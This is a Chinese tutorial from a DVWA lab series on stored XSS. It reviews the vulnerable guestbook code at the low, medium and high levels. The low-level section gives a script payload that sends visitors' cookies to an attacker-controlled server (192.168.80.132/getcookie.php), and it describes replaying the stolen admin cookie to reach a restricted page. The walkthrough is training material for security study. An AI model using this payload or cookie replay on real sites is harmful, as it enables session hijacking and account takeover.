DVWA系列之21 存储型XSS分析与利用

简介:

存储型跨站可以将XSS语句直接写入到数据库中,因而相比反射型跨站的利用价值要更大。

在DVWA中选择XSS stored,这里提供了一个类型留言本的页面。

image

我们首先查看low级别的代码,这里提供了$message和$name两个变量,分别用于接收用户在Message和Name框中所提交的数据。对这两个变量都通过mysql_real_escape_string()函数进行了过滤,但是这只能阻止SQL注入漏洞。

image

可以看出,在low级别下,Name和Message这两个文本框都存在跨站漏洞,但是由于DVWA对name框的长度进行了限制,最多只允许输入10个字符,所以我们这里在Message框输入跨站语句“<script>alert('hi')</script>”,以后任何人只要访问这个留言页面,就可以触发跨站语句,实现弹框。

当然,弹框并不是目的,XSS的主要用途之一是盗取cookie,也就是将用户的cookie自动发送到黑客的电脑中。

下面我们准备一台安装有PHP环境的Web服务器(IP地址192.168.80.132),在其中创建一个名为getcookie.php的网页,网页代码如下:

image

然后在Message框中输入下面这段XSS语句,注意中间没有换行:

<script>document.write('<img src="http://192.168.80.132/getcookie.php?cookie='+document.cookie+'"  height=0 border=0 />');</script>

在DVWA中提交之后,这时就会在getcookie.php网页所在的目录下生成一个名为cookie.txt的文件,其中就含有窃取过来的cookie:

image

那么我们该怎么利用窃取过来的cookie呢?由于这个cookie是以管理员的身份创建的,有些网站的cookie中会直接包含有管理员的账号和密码,这里的cookie虽然没有密码,但我们可以利用这个cookie假冒管理员的身份去执行某些操作。

比如在之前的CSRF测试页面中可以更改管理员的密码,我们将这个页面的URL复制下来:http://192.168.80.1/dvwa/vulnerabilities/csrf/,然后新打开一个浏览器窗口,将URL粘贴过去直接访问,由于这个页面只有管理员权限才可以访问,因而这时就会自动跳转到DVWA的登录界面。

现在我们已经窃取到了管理员的cookie,因而就可以绕过身份验证,而直接去访问CSRF页面。当然这里需要借助一些可以修改cookie的工具,很多渗透工具都提供了类似的功能,比如经典的啊D。在“扫描注入点”的“检测网址”中输入要访问的URL,然后点击最右侧的“cookies 修改”按钮,在下方的文本框中输入窃取来的cookie,点击修改按钮,然后再点击“打开网页”按钮,这时就可以直接以管理员身份访问这个页面了。

image

下面再分析一下medium级别的代码,可以看到对变量$message用htmlspecialchars()函数进行了过滤,这样Message输入框就不存在XSS漏洞了,但是Name框仍有漏洞。不过由于DVWA对Name框的长度进行了限制,只允许最多输入10个字符,因而这里的XSS攻击就有些难度了,网上有不少如何缩短XSS语句长度的资料,但我没查到合适的攻击方法,这个问题也只能暂时搁置了。

image

在high级别中,则毫无疑问地对$message和$name都进行了过滤,这样跨站漏洞也就被彻底阻止了。

image



本文转自 yttitan 51CTO博客,原文链接:http://blog.51cto.com/yttitan/1730072

相关文章
|
3天前
|
存储 前端开发 安全
[dvwa] xss stored
[dvwa] xss stored
10 0
[dvwa] xss stored
|
1月前
|
存储 前端开发 JavaScript
存储型 XSS 攻击演示(附链接)
存储型 XSS 攻击演示(附链接)
61 0
|
11月前
|
存储 PHP
PHP审计-存储XSS挖掘
PHP审计-存储XSS挖掘
PHP审计-存储XSS挖掘
|
11月前
|
SQL 存储 JavaScript
[网络安全]DVWA之XSS(Stored)攻击姿势及解题详析合集
trim() 函数移除字符串两侧的空格,以确保数据在插入到数据库时没有多余的空白字符
78 0
[网络安全]DVWA之XSS(Stored)攻击姿势及解题详析合集
|
11月前
|
机器学习/深度学习 存储 网络协议
[网络安全]DVWA之XSS(Reflected)攻击姿势及解题详析合集
先提交name1 浏览顶部URL栏发现为GET请求
83 0
|
11月前
|
JavaScript 前端开发 网络安全
[网络安全]DVWA之XSS(DOM)攻击姿势及解题详析合集
XSS(DOM)-low level 源代码未进行任何过滤 复选框中的内容为可变参数
112 0
|
11月前
|
存储 数据库
力大砖飞-存储型Xss Fuzz手法
力大砖飞-存储型Xss Fuzz手法
100 0
|
11月前
|
存储 SQL 监控
某xxphp网站后台存储型XSS漏洞分析
某xxphp网站后台存储型XSS漏洞分析
|
11月前
|
JavaScript 安全 数据安全/隐私保护
dvwa下利用xss获取cookie并利用(绕过验证)
dvwa下利用xss获取cookie并利用(绕过验证)
480 0
|
存储 安全 JavaScript
gitlab漏洞系列-存在于markdown中的存储型XSS
背景 复现步骤 影响 绕过csp示例 后续
140 0